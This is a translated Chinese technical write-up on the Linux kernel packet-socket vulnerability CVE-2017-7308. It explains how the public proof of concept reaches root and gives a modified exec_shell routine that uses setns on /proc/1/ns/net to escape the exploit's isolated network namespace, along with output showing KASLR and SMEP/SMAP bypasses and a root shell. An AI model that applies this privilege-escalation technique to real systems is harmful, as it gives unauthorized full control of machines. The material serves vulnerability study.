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【技术分享】针对数据包套接字攻击Linux内核的漏洞利用

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译者：eridanus96

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【技术分享】如何通过数据包套接字攻击Linux内核


简介

CVE-2017-7308是一个与数据包套接字相关的Linux内核漏洞。关于该漏洞的利用已经在Andrey Konovalov的文章中进行了详细地说明，在此就不赘述。我们此次关注的重点放在获取shell之后进行的一些操作和利用。

该漏洞本身（CVE-2017-7308）是一个符号类型漏洞，会导致堆越界写入问题。在启用TPACKET_V3版本的环形缓冲区条件下，我们可以通过为AF_PACKET套接字的PACKET_RX_RING选项提供特定的参数来触发这个漏洞。漏洞触发成功后，在“net/packet/af_packet.c”源码中，“packet_set_ring()”函数中的完整性检查过程就会被绕过，最终导致越界访问。

该漏洞影响所有启用AF_PACKET套接字（CONFIG_PACKET = y）的内核。但具体的实现则需要CAP_NEW_RAW这一功能，从而创建出AF_PACKET套接字。通常来说，只有特权用户才具有上述权限。但是，如果启用了用户命名空间（User namespace, CONFIG_USER_NS = y），并且未授权用户拥有可访问权限，那么同样可以利用该漏洞。

Andrey提供了一个PoC以证明这一漏洞，运行后将得到下面的shell：

到现在，我们已经成功得到了shell。但我们发现，目前仍然与真正的网络相隔开，因此我们想尝试进行一些网络相关的突破。


突破网络

从生成的shell中，我们首先列出网络接口：

如图所示，我们目前只有环回接口（Loopback interface）可用，无法ping通Google。那么，为什么会发生这种情况，又如何解决呢？还是要从Andrey的代码和Linux数据包套接字的官方文档中寻找答案。

在他的代码中，他通过调用带有CLONE_NEWUSER标志的unshare函数来创建一个新的用户命名空间。这样，调用的进程就会被移动到一个新的用户命名空间中，而这个名称不与任何已经存在的进程共享。如前所述，这是漏洞利用的必要条件。只有特权用户才拥有CAP_NET_RAW功能的权限，但新用户命名空间中的未授权用户可以创建数据包套接字, 这也正是他使用unshare函数(CLONE_NEWUSER)的原因。

随后，会再一次调用unshare函数，但此时是调用带有CLONE_NEWNET标志的unshare函数。根据文档，这一标志的含义是：将调用进程移动到一个新的网络命名空间中，且该名称不与任何已经存在的进程共享。

现在状况开始明朗了。然而，尽管我们清楚了CLONE_NEWUSER的用途，但为什么要将网络隔离呢？原因在于，我们为了保证全部覆盖，通过环回接口发送的任意数据包都不能被干扰，所以才需要一个独立的网络环境。

但如果在一个有大量接口和大量数据包的环境中，这样做无疑会降低漏洞的利用程度。


后开发利用

意识到真正的问题所在，我们就必须找到一种方法来克服这种状况，一个较好的解决方案是setns。setns是命名空间API中的一个重要函数，setns系统调用允许调用进程加入已有的命名空间，具体的命名空间通过引用/proc/[pid]/ns files中的文件描述符来制定。但是，仅有有限的几个命名空间可以让我们加入。/proc/[pid]/ns/net文件是进程网络命名空间的句柄，我们需要对这一文件进行分析，从而知道哪一个网络命名空间是我们可以加入的。

我们决定尝试从PID 1加入网络命名空间，这是Linux中init进程的PID，也是内核启动的第一个进程，因此它拥有最大的特权，我们猜测这一进程可以访问系统中的任何网络接口。但是，我们必须先拥有一些权限后才能加入这个网络命名空间，这对我们来说并不是个大问题，因为我们已经利用漏洞可以轻松获取到root权限，之后再执行这一项操作。

首先，我们需要获得一个文件描述符，以加入PID 1的网络命名空间：

int fd;
fd = open("/proc/1/ns/net", O_RDONLY)

一旦我们有了一个文件描述符，便可以在调用setns函数时使用, 而第二个参数是我们要加入的命名空间：

setns(fd, CLONE_NEWNET);

为测试是否有效，我们对PoC中的exec_shell进行了修改，修改后的exec_shell将用于在提权后被触发：

void exec_shell() {
        char *shell = "/bin/bash";
        char *args[] = {shell, "-i", NULL};
 
        int fd;
 
        fd = open("/proc/1/ns/net", O_RDONLY);
        if (fd == -1)
        {
                perror("error opening /proc/1/ns/net");
                exit(EXIT_FAILURE);
        }
 
        if (setns(fd, CLONE_NEWNET) == -1)
        {
                perror("error calling setns");
                exit(EXIT_FAILURE);
        }
       
        execve(shell, args, NULL);
}

下面是执行后的结果：

fastix@fastix-virtual-machine:~$ gcc cve-2017-7308.c -o exploit
fastix@fastix-virtual-machine:~$ ./exploit
[.] starting
[.] namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[.] done, kernel text:   ffffffffb5800000
[.] commit_creds:        ffffffffb58a5cf0
[.] prepare_kernel_cred: ffffffffb58a60e0
[.] native_write_cr4:    ffffffffb5864210
[.] padding heap
[.] done, heap is padded
[.] SMEP & SMAP bypass enabled, turning them off
[.] done, SMEP & SMAP should be off now
[.] executing get root payload 0x55fa39fa7612
[.] done, should be root now
[.] checking if we got root
[+] got r00t ^_^
root@fastix-virtual-machine:/home/fastix# id
uid=0(root) gid=0(root) groups=0(root)
root@fastix-virtual-machine:/home/fastix# ip link list
1: lo:  mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: ens33:  mtu 1500 qdisc pfifo_fast state UP mode DEFAULT group default qlen 1000
    link/ether 00:0c:29:98:3b:85 brd ff:ff:ff:ff:ff:ff,multicast,up,lower_up>
root@fastix-virtual-machine:/home/fastix# ifconfig
ens33: flags=4163  mtu 1500
        inet 192.168.1.112  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::5cd:ee6f:92b:ccc6  prefixlen 64  scopeid 0x20
        ether 00:0c:29:98:3b:85  txqueuelen 1000  (Ethernet)
        RX packets 69  bytes 9044 (9.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 85  bytes 9782 (9.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0,broadcast,running,multicast>
 
lo: flags=73  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10
        loop  txqueuelen 1  (Local Loopback)
        RX packets 3329  bytes 206245 (206.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3329  bytes 206245 (206.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
root@fastix-virtual-machine:/home/fastix# ping www.google.com                                  
PING www.google.com (216.58.202.132) 56(84) bytes of data.
64 bytes from gru06s29-in-f4.1e100.net (216.58.202.132): icmp_seq=1 ttl=50 time=52.7 ms
64 bytes from gru06s29-in-f4.1e100.net (216.58.202.132): icmp_seq=2 ttl=50 time=54.6 ms
64 bytes from gru06s29-in-f4.1e100.net (216.58.202.132): icmp_seq=3 ttl=50 time=51.9 ms
64 bytes from gru06s29-in-f4.1e100.net (216.58.202.132): icmp_seq=4 ttl=50 time=53.7 ms
^C
--- www.google.com ping statistics ---
5 packets transmitted, 4 received, 20% packet loss, time 4008ms
rtt min/avg/max/mdev = 51.987/53.268/54.686/1.045 ms
,loopback,running>,up,lower_up>

如上所示，现在除了环回接口之外，我们还有了ens33接口，并成功地连接到外网。